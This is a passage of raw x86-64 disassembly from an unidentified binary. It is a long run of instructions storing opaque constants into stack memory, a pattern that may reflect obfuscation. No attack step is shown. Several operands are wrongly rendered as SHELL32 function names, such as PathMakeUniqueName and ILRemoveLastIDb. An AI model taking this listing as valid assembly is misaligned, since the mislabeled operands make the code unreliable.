mov word [rsp + 0xca0], ax
movabs rax, 0x74f69c9ad0bdd3
mov qword [rsp + 0x8f68], rax
movabs rax, 0x7ec986ec1eea72
mov qword [rsp + 0x8f70], rax
movabs rax, 0x780a45ed2baca1
mov qword [rsp + 0x8f78], rax
mov dword [rsp + 0x497c], 0x4050
mov dword [rsp + 0x4980], 0x1a20
movabs rax, 0x73e380c69b0036
mov qword [rsp + 0x8f80], rax
mov dword [rsp + 0x4984], 0x1735
movabs rax, 0x728f84c547eae0
mov qword [rsp + 0x8f88], rax
mov dword [rsp + 0x4988], 0x398c
mov eax, 0x78a
mov word [rsp + 0xca4], ax
mov dword [rsp + 0x498c], 0x436a
movabs rax, 0x75f437aca38b76
mov qword [rsp + 0x8f90], rax
mov dword [rsp + 0x4990], 0xa71a
mov byte [rsp + 0xa1], 0x7a
movabs rax, 0x7c42c1649ab0c9
mov qword [rsp + 0x8f98], rax
mov eax, 0x5d3
mov word [rsp + 0xca8], ax
mov eax, 0x245
mov word [rsp + 0xcac], ax
mov dword [rsp + 0x4994], 0x7ef8
mov dword [rsp + 0x4998], 0x8e8f
mov byte [rsp + 0xa2], ILIsParent
movabs rax, 0x76bdf81102d9f0
mov qword [rsp + 0x8fa0], rax
mov eax, 0x449
mov word [rsp + 0xcb0], ax
movabs rax, 0x7583513dffc35d
mov qword [rsp + 0x8fa8], rax
mov byte [rsp + 0xa3], 0xa2
movabs rax, 0x7104a01cad2635
mov qword [rsp + 0x8fb0], rax
movabs rax, 0x799c1d0375cd00
mov qword [rsp + 0x8fb8], rax
movabs rax, 0x7874ad14007267
mov qword [rsp + 0x8fc0], rax
movabs rax, 0x7e995d97e55ae7
mov qword [rsp + 0x8fc8], rax
mov eax, 0x1f2
mov word [rsp + 0xcb4], ax
movabs rax, 0x7a7866ab25fb6f
mov qword [rsp + 0x8fd0], rax
mov eax, 0x416
mov word [rsp + 0xcb8], ax
movabs rax, 0x7ed87566802947
mov qword [rsp + 0x8fd8], rax
mov eax, 0xff2
mov word [rsp + 0xcbc], ax
mov dword [rsp + 0x499c], 0xa956
mov eax, 0x323
mov word [rsp + 0xcc0], ax
movabs rax, 0x7022331d7f9c4e
mov qword [rsp + 0x8fe0], rax
mov eax, 0x683
mov word [rsp + 0xcc4], ax
mov dword [rsp + 0x49a0], 0x7e26
mov byte [rsp + 0xa4], 0xe2
mov dword [rsp + 0x49a4], 0x6ed7
mov byte [rsp + 0xa5], 0xe9
mov byte [rsp + 0xa6], 0xc1
mov dword [rsp + 0x49a8], 0x1296
mov eax, 0x97b
mov word [rsp + 0xcc8], ax
movabs rax, 0x74e621192d6ef6
mov qword [rsp + 0x8fe8], rax
movabs rax, 0x755383039b2b74
mov qword [rsp + 0x8ff0], rax
mov byte [rsp + 0xa7], 0x3f
mov byte [rsp + 0xa8], 0x64
mov byte [rsp + 0xa9], 0x8a
mov dword [rsp + 0x49ac], 0x5805
mov eax, 0x1ba
mov word [rsp + 0xccc], ax
mov eax, 0x666
mov word [rsp + 0xcd0], ax
mov eax, 0x23f
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x49b0], 0x5d5a
mov byte [rsp + 0xaa], 0x3e
movabs rax, 0x753e50df617299
mov qword [rsp + 0x8ff8], rax
mov byte [rsp + 0xab], 0x60
mov dword [rsp + 0x49b4], 0xea5c
mov eax, 0x412
mov word [rsp + 0xcd8], ax
mov dword [rsp + 0x49b8], 0x7968
mov dword [rsp + 0x49bc], 0x73f1
mov dword [rsp + 0x49c0], 0x7a08
mov eax, 0x263
mov word [rsp + 0xcdc], ax
movabs rax, 0x720c7427dab1a8
mov qword [rsp + 0x9000], rax
mov dword [rsp + 0x49c4], 0x5993
mov byte [rsp + 0xac], 0x8d
movabs rax, 0x7a8c8ac91bf8a9
mov qword [rsp + 0x9008], rax
movabs rax, 0x776d70f156b9e0
mov qword [rsp + 0x9010], rax
mov dword [rsp + 0x49c8], 0xfa69
movabs rax, 0x729581ac79e5f3
mov qword [rsp + 0x9018], rax
movabs rax, 0x7b77993484b49e
mov qword [rsp + 0x9020], rax
mov byte [rsp + 0xad], 0x4e
mov dword [rsp + 0x49cc], 0x724a
mov dword [rsp + 0x49d0], 0xeff6
mov dword [rsp + 0x49d4], 0x3503
mov dword [rsp + 0x49d8], 0x6a6e
mov eax, 0x429
mov word [rsp + 0xce0], ax
movabs rax, 0x70b601d7c99312
mov qword [rsp + 0x9028], rax
movabs rax, 0x797b3d0552a614
mov qword [rsp + 0x9030], rax
mov dword [rsp + 0x49dc], 0x7780
movabs rax, 0x745934cbe3148d
mov qword [rsp + 0x9038], rax
mov byte [rsp + 0xae], 0x4f
movabs rax, 0x7a0efdafa6bf28
mov qword [rsp + 0x9040], rax
movabs rax, 0x78e855224e8900
mov qword [rsp + 0x9048], rax
mov dword [rsp + 0x49e0], 0xebb4
mov dword [rsp + 0x49e4], 0x71de
mov eax, 0x813
mov word [rsp + 0xce4], ax
movabs rax, 0x71a2bfaaad2751
mov qword [rsp + 0x9050], rax
mov eax, 0xee7
mov word [rsp + 0xce8], ax
mov dword [rsp + 0x49e8], 0x17fb
mov dword [rsp + 0x49ec], 0x4d0f
movabs rax, 0x782a3b8d5df053
mov qword [rsp + 0x9058], rax
movabs rax, 0x7328c89124192f
mov qword [rsp + 0x9060], rax
mov dword [rsp + 0x49f0], 0x334a
mov dword [rsp + 0x49f4], 0x5493
mov dword [rsp + 0x49f8], 0x238b
movabs rax, 0x76715484634108
mov qword [rsp + 0x9068], rax
movabs rax, 0x71e5e1fe467a78
mov qword [rsp + 0x9070], rax
movabs rax, 0x793e78b3863adf
mov qword [rsp + 0x9078], rax
mov byte [rsp + 0xaf], PathMakeUniqueName
movabs rax, 0x7015528ad6290a
mov qword [rsp + 0x9080], rax
mov eax, 0xcf
mov word [rsp + 0xcec], ax
mov dword [rsp + 0x49fc], 0x3fad
mov eax, 0x253
mov word [rsp + 0xcf0], ax
mov dword [rsp + 0x4a00], 0xd28
mov eax, 0x2a1
mov word [rsp + 0xcf4], ax
mov eax, 0x262
mov word [rsp + 0xcf8], ax
mov byte [rsp + 0xb0], 0xc6
movabs rax, 0x7e5e469803f3a8
mov qword [rsp + 0x9088], rax
movabs rax, 0x79dce473bcbfda
mov qword [rsp + 0x9090], rax
mov eax, 0xcdd
mov word [rsp + 0xcfc], ax
mov byte [rsp + 0xb1], 0xa6
movabs rax, 0x7e2be6386c5d01
mov qword [rsp + 0x9098], rax
movabs rax, 0x71ae66d2b1792e
mov qword [rsp + 0x90a0], rax
mov byte [rsp + 0xb2], SHDoDragDrop
mov eax, 0x1f0
mov word [rsp + 0xd00], ax
movabs rax, 0x7129aad7a56fcc
mov qword [rsp + 0x90a8], rax
mov eax, 0xef8
mov word [rsp + 0xd04], ax
movabs rax, 0x7ebb617b4605b9
mov qword [rsp + 0x90b0], rax
movabs rax, 0x786428ff8a5992
mov qword [rsp + 0x90b8], rax
mov byte [rsp + 0xb3], ILAppendID
mov eax, 0x6ad
mov word [rsp + 0xd08], ax
mov dword [rsp + 0x4a04], 6
mov eax, 0x478
mov word [rsp + 0xd0c], ax
mov eax, 0x92
mov word [rsp + 0xd10], ax
mov eax, 0x68c
mov word [rsp + 0xd14], ax
movabs rax, 0x70b87335835b35
mov qword [rsp + 0x90c0], rax
movabs rax, 0x778b35f01e08c6
mov qword [rsp + 0x90c8], rax
movabs rax, 0x7ce542645e0efa
mov qword [rsp + 0x90d0], rax
mov byte [rsp + 0xb4], 0x65
movabs rax, 0x71abf4764bf6ff
mov qword [rsp + 0x90d8], rax
movabs rax, 0x764d65e8e93e11
mov qword [rsp + 0x90e0], rax
mov eax, 0x54a
mov word [rsp + 0xd18], ax
mov eax, 0x4a2
mov word [rsp + 0xd1c], ax
mov dword [rsp + 0x4a08], 0x7c6
mov byte [rsp + 0xb5], 0x7b
movabs rax, 0x7c8f612e6eb46a
mov qword [rsp + 0x90e8], rax
mov eax, 0x1f6
mov word [rsp + 0xd20], ax
mov dword [rsp + 0x4a0c], 0x6ac2
movabs rax, 0x71a15da592eeac
mov qword [rsp + 0x90f0], rax
mov dword [rsp + 0x4a10], 0x7d9
movabs rax, 0x7386a87147a491
mov qword [rsp + 0x90f8], rax
movabs rax, 0x79c39f60ec1fc6
mov qword [rsp + 0x9100], rax
mov byte [rsp + 0xb6], 0xd1
mov eax, 0x598
mov word [rsp + 0xd24], ax
mov eax, 0xc0
mov word [rsp + 0xd28], ax
mov dword [rsp + 0x4a14], 0x5ce7
movabs rax, 0x7bf55d736a6978
mov qword [rsp + 0x9108], rax
mov dword [rsp + 0x4a18], 0x5e9a
mov dword [rsp + 0x4a1c], 0xcdf4
movabs rax, 0x777a7915ce3656
mov qword [rsp + 0x9110], rax
movabs rax, 0x7614295dd739f9
mov qword [rsp + 0x9118], rax
mov dword [rsp + 0x4a20], 0x17a
mov byte [rsp + 0xb7], 0x41
mov eax, 0x4c0
mov word [rsp + 0xd2c], ax
mov dword [rsp + 0x4a24], 0x4016
mov dword [rsp + 0x4a28], 0xb90e
mov byte [rsp + 0xb8], 0x50
mov byte [rsp + 0xb9], 0x48
mov byte [rsp + 0xba], PathMakeUniqueName
mov dword [rsp + 0x4a2c], 0x3e4c
mov byte [rsp + 0xbb], PathMakeUniqueName
mov byte [rsp + 0xbc], reloc.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x4a30], 0x7bc0
mov dword [rsp + 0x4a34], 0xc573
movabs rax, 0x78aa144ff9ab88
mov qword [rsp + 0x9120], rax
mov eax, 0x688
mov word [rsp + 0xd30], ax
mov byte [rsp + 0xbd], PathMakeUniqueName
movabs rax, 0x7e93af74876342
mov qword [rsp + 0x9128], rax
mov dword [rsp + 0x4a38], 0x74c9
mov dword [rsp + 0x4a3c], 0x3996
movabs rax, 0x7b17b6ff727d80
mov qword [rsp + 0x9130], rax
mov eax, 0x37c
mov word [rsp + 0xd34], ax
mov byte [rsp + 0xbe], 0x23
mov eax, 0x669
mov word [rsp + 0xd38], ax
mov byte [rsp + 0xbf], 0x73
movabs rax, 0x7c6ed270782692
mov qword [rsp + 0x9138], rax
mov dword [rsp + 0x4a40], 0x2e7b
movabs rax, 0x79a7428cbf43ce
mov qword [rsp + 0x9140], rax
mov dword [rsp + 0x4a44], 0x193a
movabs rax, 0x733bb10cc58f0c
mov qword [rsp + 0x9148], rax
mov dword [rsp + 0x4a48], 0x1b1f
mov dword [rsp + 0x4a4c], 0x67a9
mov eax, 0x137
mov word [rsp + 0xd3c], ax
movabs rax, 0x78e6e8a0315e17
mov qword [rsp + 0x9150], rax
mov eax, 0x586
mov word [rsp + 0xd40], ax
mov eax, 0x263
mov word [rsp + 0xd44], ax
movabs rax, 0x7274a48b9fddc3
mov qword [rsp + 0x9158], rax
mov byte [rsp + 0xc0], reloc.SHELL32.dll_ILAppendID
mov byte [rsp + 0xc1], 0x59
mov eax, 0x47e
mov word [rsp + 0xd48], ax
mov dword [rsp + 0x4a50], 0xc983
movabs rax, 0x7e10ecda92692d
mov qword [rsp + 0x9160], rax
mov byte [rsp + 0xc2], 0x37
mov byte [rsp + 0xc3], 0x79
mov byte [rsp + 0xc4], 0x7e
movabs rax, 0x789bf986322316
mov qword [rsp + 0x9168], rax
movabs rax, 0x77dda22325230c
mov qword [rsp + 0x9170], rax
mov dword [rsp + 0x4a54], 0xb9e
mov eax, 0x6f0
mov word [rsp + 0xd4c], ax
mov dword [rsp + 0x4a58], 0x22e4
movabs rax, 0x7e565a5b036266
mov qword [rsp + 0x9178], rax
mov dword [rsp + 0x4a5c], 0xce40
mov eax, 0x61f
mov word [rsp + 0xd50], ax
mov byte [rsp + 0xc5], 0xed
movabs rax, 0x793a3a1f6663a6
mov qword [rsp + 0x9180], rax
mov dword [rsp + 0x4a60], 0xf35
mov dword [rsp + 0x4a64], 0x4295
movabs rax, 0x7128232df9484c
mov qword [rsp + 0x9188], rax
movabs rax, 0x715a5aada1b7c0
mov qword [rsp + 0x9190], rax
mov eax, 0xbcb
mov word [rsp + 0xd54], ax
mov byte [rsp + 0xc6], 0xca
mov byte [rsp + 0xc7], ILCreateFromPathW
mov eax, 0x5bc
mov word [rsp + 0xd58], ax
mov dword [rsp + 0x4a68], 0x8ce9
movabs rax, 0x72cf2155b9328e
mov qword [rsp + 0x9198], rax
mov dword [rsp + 0x4a6c], 0x3861
mov byte [rsp + 0xc8], 0x79
mov dword [rsp + 0x4a70], 0x5ea1
mov eax, 0x51e
mov word [rsp + 0xd5c], ax
mov byte [rsp + 0xc9], 1
mov dword [rsp + 0x4a74], 0x752b
mov dword [rsp + 0x4a78], 0x357f
mov byte [rsp + 0xca], 0xd5
mov eax, 0x68c
mov word [rsp + 0xd60], ax
mov byte [rsp + 0xcb], 0x62
movabs rax, 0x7c189421f10fd6
mov qword [rsp + 0x91a0], rax
mov byte [rsp + 0xcc], 0x6f
mov eax, 0xa
mov word [rsp + 0xd64], ax
movabs rax, 0x70f194cf3edd41
mov qword [rsp + 0x91a8], rax
mov dword [rsp + 0x4a7c], 0x4de3
movabs rax, 0x7cd5a951f2a2ac
mov qword [rsp + 0x91b0], rax
mov dword [rsp + 0x4a80], 0x303f
movabs rax, 0x7471b49bf9cd4b
mov qword [rsp + 0x91b8], rax
mov eax, 0x601
mov word [rsp + 0xd68], ax
mov byte [rsp + 0xcd], 0x7d
mov dword [rsp + 0x4a84], 0x6b2a
mov eax, 0x724
mov word [rsp + 0xd6c], ax
mov eax, 0x320
mov word [rsp + 0xd70], ax
movabs rax, 0x70fc8ee1cbcbc4
mov qword [rsp + 0x91c0], rax
mov dword [rsp + 0x4a88], 0x1fe5
mov dword [rsp + 0x4a8c], 0x9731
mov eax, 0x755
mov word [rsp + 0xd74], ax
mov dword [rsp + 0x4a90], 0x17e4
mov byte [rsp + 0xce], SHDoDragDrop
mov byte [rsp + 0xcf], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x4a94], 0x723b
mov eax, 0x69d
mov word [rsp + 0xd78], ax
mov eax, 0x79a
mov word [rsp + 0xd7c], ax
mov dword [rsp + 0x4a98], 0x2bc1
mov dword [rsp + 0x4a9c], 0x9c0f
mov dword [rsp + 0x4aa0], 0x2f36
mov dword [rsp + 0x4aa4], 0xf3d
mov dword [rsp + 0x4aa8], 0xeac2
mov dword [rsp + 0x4aac], 0x39c2
movabs rax, 0x78d350d46ed72f
mov qword [rsp + 0x91c8], rax
mov eax, 0x1c6
mov word [rsp + 0xd80], ax
movabs rax, 0x75c18637f05356
mov qword [rsp + 0x91d0], rax
movabs rax, 0x7a1c7a87106db5
mov qword [rsp + 0x91d8], rax
mov dword [rsp + 0x4ab0], 0x3011
movabs rax, 0x7c4b1470c051d5
mov qword [rsp + 0x91e0], rax
mov eax, 0xc4
mov word [rsp + 0xd84], ax
mov dword [rsp + 0x4ab4], 0x7956
movabs rax, 0x7e453d58493154
mov qword [rsp + 0x91e8], rax
mov dword [rsp + 0x4ab8], 0xae11
movabs rax, 0x703258eea7fa35
mov qword [rsp + 0x91f0], rax
mov eax, 0x404
mov word [rsp + 0xd88], ax
mov byte [rsp + 0xd0], 0x6d
movabs rax, 0x74ba9ccc072b90
mov qword [rsp + 0x91f8], rax
mov byte [rsp + 0xd1], 0xea
movabs rax, 0x7375a2cbd1fac1
mov qword [rsp + 0x9200], rax
mov dword [rsp + 0x4abc], 0xb1ea
movabs rax, 0x7dc205173f259d
mov qword [rsp + 0x9208], rax
mov dword [rsp + 0x4ac0], 0x53d0
mov eax, 0x34e
mov word [rsp + 0xd8c], ax
movabs rax, 0x7086364ff5fae7
mov qword [rsp + 0x9210], rax
mov eax, 0x371
mov word [rsp + 0xd90], ax
movabs rax, 0x7b6b59eeeedfa4
mov qword [rsp + 0x9218], rax
mov eax, 0x201
mov word [rsp + 0xd94], ax
mov byte [rsp + 0xd2], 0xc2
movabs rax, 0x721689ab52158d
mov qword [rsp + 0x9220], rax
mov eax, 0x365
mov word [rsp + 0xd98], ax
mov dword [rsp + 0x4ac4], 0x735a
mov dword [rsp + 0x4ac8], 0xbc8f
mov byte [rsp + 0xd3], PathMakeUniqueName
mov eax, 0xcc3
mov word [rsp + 0xd9c], ax
mov byte [rsp + 0xd4], 0x42
movabs rax, 0x7d88b9e3249d29
mov qword [rsp + 0x9228], rax
mov dword [rsp + 0x4acc], 0x41ce
mov byte [rsp + 0xd5], 0
mov byte [rsp + 0xd6], PathMakeUniqueName
mov byte [rsp + 0xd7], 0x7c
mov eax, 0x6f1
mov word [rsp + 0xda0], ax
movabs rax, 0x7e7bc6728e272e
mov qword [rsp + 0x9230], rax
mov dword [rsp + 0x4ad0], 0xd712
movabs rax, 0x798c6384e32886
mov qword [rsp + 0x9238], rax
mov byte [rsp + 0xd8], 2
mov eax, 0x325
mov word [rsp + 0xda4], ax
movabs rax, 0x7113335f69e5ed
mov qword [rsp + 0x9240], rax
mov dword [rsp + 0x4ad4], 0xa363
movabs rax, 0x702c99e8cc1a21
mov qword [rsp + 0x9248], rax
movabs rax, 0x700649bca5f058
mov qword [rsp + 0x9250], rax
mov eax, 0x31f
mov word [rsp + 0xda8], ax
movabs rax, 0x74de9d7e23099b
mov qword [rsp + 0x9258], rax
mov dword [rsp + 0x4ad8], 0x3a26
mov dword [rsp + 0x4adc], 0x699
mov eax, 0x4ae
mov word [rsp + 0xdac], ax
mov byte [rsp + 0xd9], 0x50
mov eax, 0x355
mov word [rsp + 0xdb0], ax
mov dword [rsp + 0x4ae0], 0x4be6
movabs rax, 0x7169fb271d0935
mov qword [rsp + 0x9260], rax
mov dword [rsp + 0x4ae4], 0x7bb1
mov byte [rsp + 0xda], SHSetInstanceExplorer
mov eax, 0xd98
mov word [rsp + 0xdb4], ax
movabs rax, 0x72014f49996615
mov qword [rsp + 0x9268], rax
mov eax, 0xde8
mov word [rsp + 0xdb8], ax
mov eax, 0x74d
mov word [rsp + 0xdbc], ax
movabs rax, 0x71df0722e6f462
mov qword [rsp + 0x9270], rax
mov byte [rsp + 0xdb], 0x78
movabs rax, 0x70aaf60b92f34e
mov qword [rsp + 0x9278], rax
mov byte [rsp + 0xdc], 0x24
mov dword [rsp + 0x4ae8], 0xc42e
mov eax, 0x57d
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x4aec], 0xb552
mov dword [rsp + 0x4af0], 0x4b8c
mov eax, 0x23e
mov word [rsp + 0xdc4], ax
mov dword [rsp + 0x4af4], 0x7087
mov eax, 0x542
mov word [rsp + 0xdc8], ax
mov byte [rsp + 0xdd], 0x8e
mov eax, 0xd45
mov word [rsp + 0xdcc], ax
movabs rax, 0x794d7097f2ae4a
mov qword [rsp + 0x9280], rax
movabs rax, 0x7920b3a553a663
mov qword [rsp + 0x9288], rax
mov byte [rsp + 0xde], 0xe7
movabs rax, 0x7c663ecdc696e5
mov qword [rsp + 0x9290], rax
movabs rax, 0x7ddb698f856cdd
mov qword [rsp + 0x9298], rax
mov dword [rsp + 0x4af8], 0x2925
mov byte [rsp + 0xdf], 0x21
mov dword [rsp + 0x4afc], 0x7d85
mov eax, 0x68e
mov word [rsp + 0xdd0], ax
movabs rax, 0x72b492a7700e25
mov qword [rsp + 0x92a0], rax
mov byte [rsp + 0xe0], 0xc4
mov byte [rsp + 0xe1], 0x21
mov dword [rsp + 0x4b00], 0x621f
movabs rax, 0x70c8e27fc9c5aa
mov qword [rsp + 0x92a8], rax
mov eax, 0x23e
mov word [rsp + 0xdd4], ax
movabs rax, 0x7729ff6cb3b10d
mov qword [rsp + 0x92b0], rax
movabs rax, 0x79baba74381ffc
mov qword [rsp + 0x92b8], rax
mov eax, 0xfe3
mov word [rsp + 0xdd8], ax
mov dword [rsp + 0x4b04], 0x6ca3
mov dword [rsp + 0x4b08], 0x4323
movabs rax, 0x73c13c14e59277
mov qword [rsp + 0x92c0], rax
mov eax, 0x5f1
mov word [rsp + 0xddc], ax
mov dword [rsp + 0x4b0c], 0x67cb
mov byte [rsp + 0xe2], 0x7e
mov eax, 0x710
mov word [rsp + 0xde0], ax
mov dword [rsp + 0x4b10], 0x43ac
mov eax, 0x2ba
mov word [rsp + 0xde4], ax
mov byte [rsp + 0xe3], 0xb6
movabs rax, 0x7a23fb3731d9c9
mov qword [rsp + 0x92c8], rax
mov eax, 0x103
mov word [rsp + 0xde8], ax
mov eax, 0x5a7
mov word [rsp + 0xdec], ax
mov eax, 0x263
mov word [rsp + 0xdf0], ax
movabs rax, 0x741f7d1cb90857
mov qword [rsp + 0x92d0], rax
mov dword [rsp + 0x4b14], 0x754f
mov dword [rsp + 0x4b18], 0x484e
mov dword [rsp + 0x4b1c], 0xf58
mov eax, 0x751
mov word [rsp + 0xdf4], ax
movabs rax, 0x728d1595d7ea1c
mov qword [rsp + 0x92d8], rax
mov eax, 0x364
mov word [rsp + 0xdf8], ax
mov byte [rsp + 0xe4], 0x5f
movabs rax, 0x7d674a030c8f37
mov qword [rsp + 0x92e0], rax
movabs rax, 0x7bb561a1c7c81d
mov qword [rsp + 0x92e8], rax
mov byte [rsp + 0xe5], SHSetInstanceExplorer
movabs rax, 0x773ad3cfb2f907
mov qword [rsp + 0x92f0], rax
mov eax, 0x29e
mov word [rsp + 0xdfc], ax
mov eax, 0x745
mov word [rsp + 0xe00], ax
movabs rax, 0x7a737ad721e320
mov qword [rsp + 0x92f8], rax
mov eax, SHTestTokenMembership
mov word [rsp + 0xe04], ax
movabs rax, 0x755d2f4fd81076
mov qword [rsp + 0x9300], rax
mov eax, 0x312
mov word [rsp + 0xe08], ax
movabs rax, 0x76845024fb5cde
mov qword [rsp + 0x9308], rax
mov dword [rsp + 0x4b20], 0x8755
mov dword [rsp + 0x4b24], 0x6a2a
mov eax, 0x6fa
mov word [rsp + 0xe0c], ax
mov dword [rsp + 0x4b28], 0x71b
movabs rax, 0x77bee48f500286
mov qword [rsp + 0x9310], rax
mov byte [rsp + 0xe6], 0xea
mov dword [rsp + 0x4b2c], 0x39ae
mov eax, 0xca6
mov word [rsp + 0xe10], ax
movabs rax, 0x7d3dfd7bc36b8f
mov qword [rsp + 0x9318], rax
mov eax, 0xa58
mov word [rsp + 0xe14], ax
mov eax, 0x14f
mov word [rsp + 0xe18], ax
mov dword [rsp + 0x4b30], 0x6122
mov dword [rsp + 0x4b34], 0x6b32
movabs rax, 0x7dc137659fe926
mov qword [rsp + 0x9320], rax
movabs rax, 0x7550269b0fce43
mov qword [rsp + 0x9328], rax
mov dword [rsp + 0x4b38], 0x805
mov dword [rsp + 0x4b3c], 0x717e
movabs rax, 0x71c93d54e06220
mov qword [rsp + 0x9330], rax
movabs rax, 0x7a83746396ad5b
mov qword [rsp + 0x9338], rax
movabs rax, 0x724a7ab4e5ce53
mov qword [rsp + 0x9340], rax
mov eax, 0x334
mov word [rsp + 0xe1c], ax
mov eax, 0x248
mov word [rsp + 0xe20], ax
mov byte [rsp + 0xe7], 0x24
mov dword [rsp + 0x4b40], 0x59ec
mov dword [rsp + 0x4b44], 0x6922
mov dword [rsp + 0x4b48], 0x6dc3
movabs rax, 0x78b018384237e8
mov qword [rsp + 0x9348], rax
mov byte [rsp + 0xe8], 0x50
mov dword [rsp + 0x4b4c], 0x3017
mov dword [rsp + 0x4b50], 0x83ff
mov byte [rsp + 0xe9], 0xa4
movabs rax, 0x75c8ea2a2511ef
mov qword [rsp + 0x9350], rax
movabs rax, 0x724f9e686589a5
mov qword [rsp + 0x9358], rax
mov eax, 0x697
mov word [rsp + 0xe24], ax
mov dword [rsp + 0x4b54], 0x6a2c
mov dword [rsp + 0x4b58], 0x5f20
mov dword [rsp + 0x4b5c], 0xb64e
movabs rax, 0x71892a467e442f
mov qword [rsp + 0x9360], rax
mov eax, 0x718
mov word [rsp + 0xe28], ax
mov dword [rsp + 0x4b60], 0xe09
movabs rax, 0x758b1da998fba3
mov qword [rsp + 0x9368], rax
mov byte [rsp + 0xea], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x557
mov word [rsp + 0xe2c], ax
mov eax, 0x577
mov word [rsp + 0xe30], ax
movabs rax, 0x7550becf6c02b0
mov qword [rsp + 0x9370], rax
mov dword [rsp + 0x4b64], 0xde05
mov dword [rsp + 0x4b68], 0x60e5
mov eax, 0x37d
mov word [rsp + 0xe34], ax
movabs rax, 0x7958f83860ef1a
mov qword [rsp + 0x9378], rax
movabs rax, 0x79061da738f815
mov qword [rsp + 0x9380], rax
mov eax, 0xfa9
mov word [rsp + 0xe38], ax
mov dword [rsp + 0x4b6c], 0x88e1
movabs rax, 0x7d3cbd54c67a5e
mov qword [rsp + 0x9388], rax
mov eax, 0xb47
mov word [rsp + 0xe3c], ax
mov eax, 0x231
mov word [rsp + 0xe40], ax
mov eax, 0x416
mov word [rsp + 0xe44], ax
movabs rax, 0x763f3025626f32
mov qword [rsp + 0x9390], rax
mov dword [rsp + 0x4b70], 0x5328
mov eax, 0x216
mov word [rsp + 0xe48], ax
mov eax, 0xd1
mov word [rsp + 0xe4c], ax
mov dword [rsp + 0x4b74], 0xc306
mov dword [rsp + 0x4b78], 0x6605
mov byte [rsp + 0xeb], 0x68
movabs rax, 0x7bdaf5ba59c180
mov qword [rsp + 0x9398], rax
mov byte [rsp + 0xec], 0xe9
movabs rax, 0x7a333a4a782476
mov qword [rsp + 0x93a0], rax
mov dword [rsp + 0x4b7c], 0x417c
mov dword [rsp + 0x4b80], 0x5436
movabs rax, 0x7c9e3cd619acb3
mov qword [rsp + 0x93a8], rax
mov eax, 0x13e
mov word [rsp + 0xe50], ax
mov eax, 0x5d6
mov word [rsp + 0xe54], ax
mov dword [rsp + 0x4b84], 0x3c3f
movabs rax, 0x74444943598dae
mov qword [rsp + 0x93b0], rax
mov byte [rsp + 0xed], 0x3d
mov byte [rsp + 0xee], 8
movabs rax, 0x7cba6bd0770767
mov qword [rsp + 0x93b8], rax
movabs rax, 0x742bee3b9dd1dc
mov qword [rsp + 0x93c0], rax
movabs rax, 0x7783b11826ab6b
mov qword [rsp + 0x93c8], rax
mov byte [rsp + 0xef], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x4b88], 0x5e26
movabs rax, 0x749a01a79aa34a
mov qword [rsp + 0x93d0], rax
mov byte [rsp + 0xf0], SHDoDragDrop
movabs rax, 0x7a2489cc5cfb0b
mov qword [rsp + 0x93d8], rax
movabs rax, 0x7dd017e00f3571
mov qword [rsp + 0x93e0], rax
movabs rax, 0x732a06eb7dd45a
mov qword [rsp + 0x93e8], rax
mov byte [rsp + 0xf1], 0xed
mov eax, 0x23
mov word [rsp + 0xe58], ax
movabs rax, 0x7780e3b24d194c
mov qword [rsp + 0x93f0], rax
mov dword [rsp + 0x4b8c], 0x7f8e
mov eax, 0x96f
mov word [rsp + 0xe5c], ax
movabs rax, 0x78f4c5ba78d78e
mov qword [rsp + 0x93f8], rax
mov dword [rsp + 0x4b90], 0x14bf
mov dword [rsp + 0x4b94], 0x6949
mov eax, 0x83e
mov word [rsp + 0xe60], ax
movabs rax, 0x7ab271142c7d69
mov qword [rsp + 0x9400], rax
mov byte [rsp + 0xf2], 0x62
mov byte [rsp + 0xf3], PathMakeUniqueName
mov byte [rsp + 0xf4], PathMakeUniqueName
mov eax, 0x517
mov word [rsp + 0xe64], ax
mov byte [rsp + 0xf5], reloc.SHELL32.dll_ILCreateFromPathW
mov dword [rsp + 0x4b98], 0x15c9
mov byte [rsp + 0xf6], 0xe8
mov dword [rsp + 0x4b9c], 0xa687
mov dword [rsp + 0x4ba0], 0x8832
movabs rax, 0x78641236d6d1a3
mov qword [rsp + 0x9408], rax
mov eax, 0x267
mov word [rsp + 0xe68], ax
mov byte [rsp + 0xf7], 9
mov eax, 0x4a3
mov word [rsp + 0xe6c], ax
mov eax, 0xfc9
mov word [rsp + 0xe70], ax
mov dword [rsp + 0x4ba4], 0x521d
movabs rax, 0x707846b5f36a54
mov qword [rsp + 0x9410], rax
mov dword [rsp + 0x4ba8], 0x3b65
mov eax, 0xc1d
mov word [rsp + 0xe74], ax
movabs rax, 0x798145e1d1ec06
mov qword [rsp + 0x9418], rax
mov byte [rsp + 0xf8], 0x26
mov dword [rsp + 0x4bac], 0xea1d
mov eax, 0x4eb
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x4bb0], 0x2455
mov eax, 0x1c4
mov word [rsp + 0xe7c], ax
mov eax, 0x15c
mov word [rsp + 0xe80], ax
movabs rax, 0x7764238f8ed730
mov qword [rsp + 0x9420], rax
mov eax, 0x1c9
mov word [rsp + 0xe84], ax
mov byte [rsp + 0xf9], 0x3c
mov dword [rsp + 0x4bb4], 0x4caf
mov eax, 0x48f
mov word [rsp + 0xe88], ax
mov byte [rsp + 0xfa], 0x8e
mov byte [rsp + ILRemoveLastIDb], 0xf
mov eax, 0x445
mov word [rsp + 0xe8c], ax
movabs rax, 0x797e39fa549448
mov qword [rsp + 0x9428], rax
movabs rax, 0x7520095da096c8
mov qword [rsp + 0x9430], rax
movabs rax, 0x70c0c2d22a6790
mov qword [rsp + 0x9438], rax
mov eax, 0x131
mov word [rsp + 0xe90], ax
mov eax, 0x995
mov word [rsp + 0xe94], ax
movabs rax, 0x786d801c1525ef
mov qword [rsp + 0x9440], rax
mov byte [rsp + 0xfc], 0xc9
mov eax, 0xb73
mov word [rsp + 0xe98], ax
movabs rax, 0x7cccbe69a36e30
mov qword [rsp + 0x9448], rax
mov byte [rsp + 0xfd], 0x87
movabs rax, 0x78d51a8f1afe86
mov qword [rsp + 0x9450], rax
movabs rax, 0x777afa7093f4ad
mov qword [rsp + 0x9458], rax
mov byte [rsp + 0xfe], 0x48
mov eax, 0x915
mov word [rsp + 0xe9c], ax
mov dword [rsp + 0x4bb8], 0x7819
mov dword [rsp + 0x4bbc], 0x30ff
mov eax, 0x9b
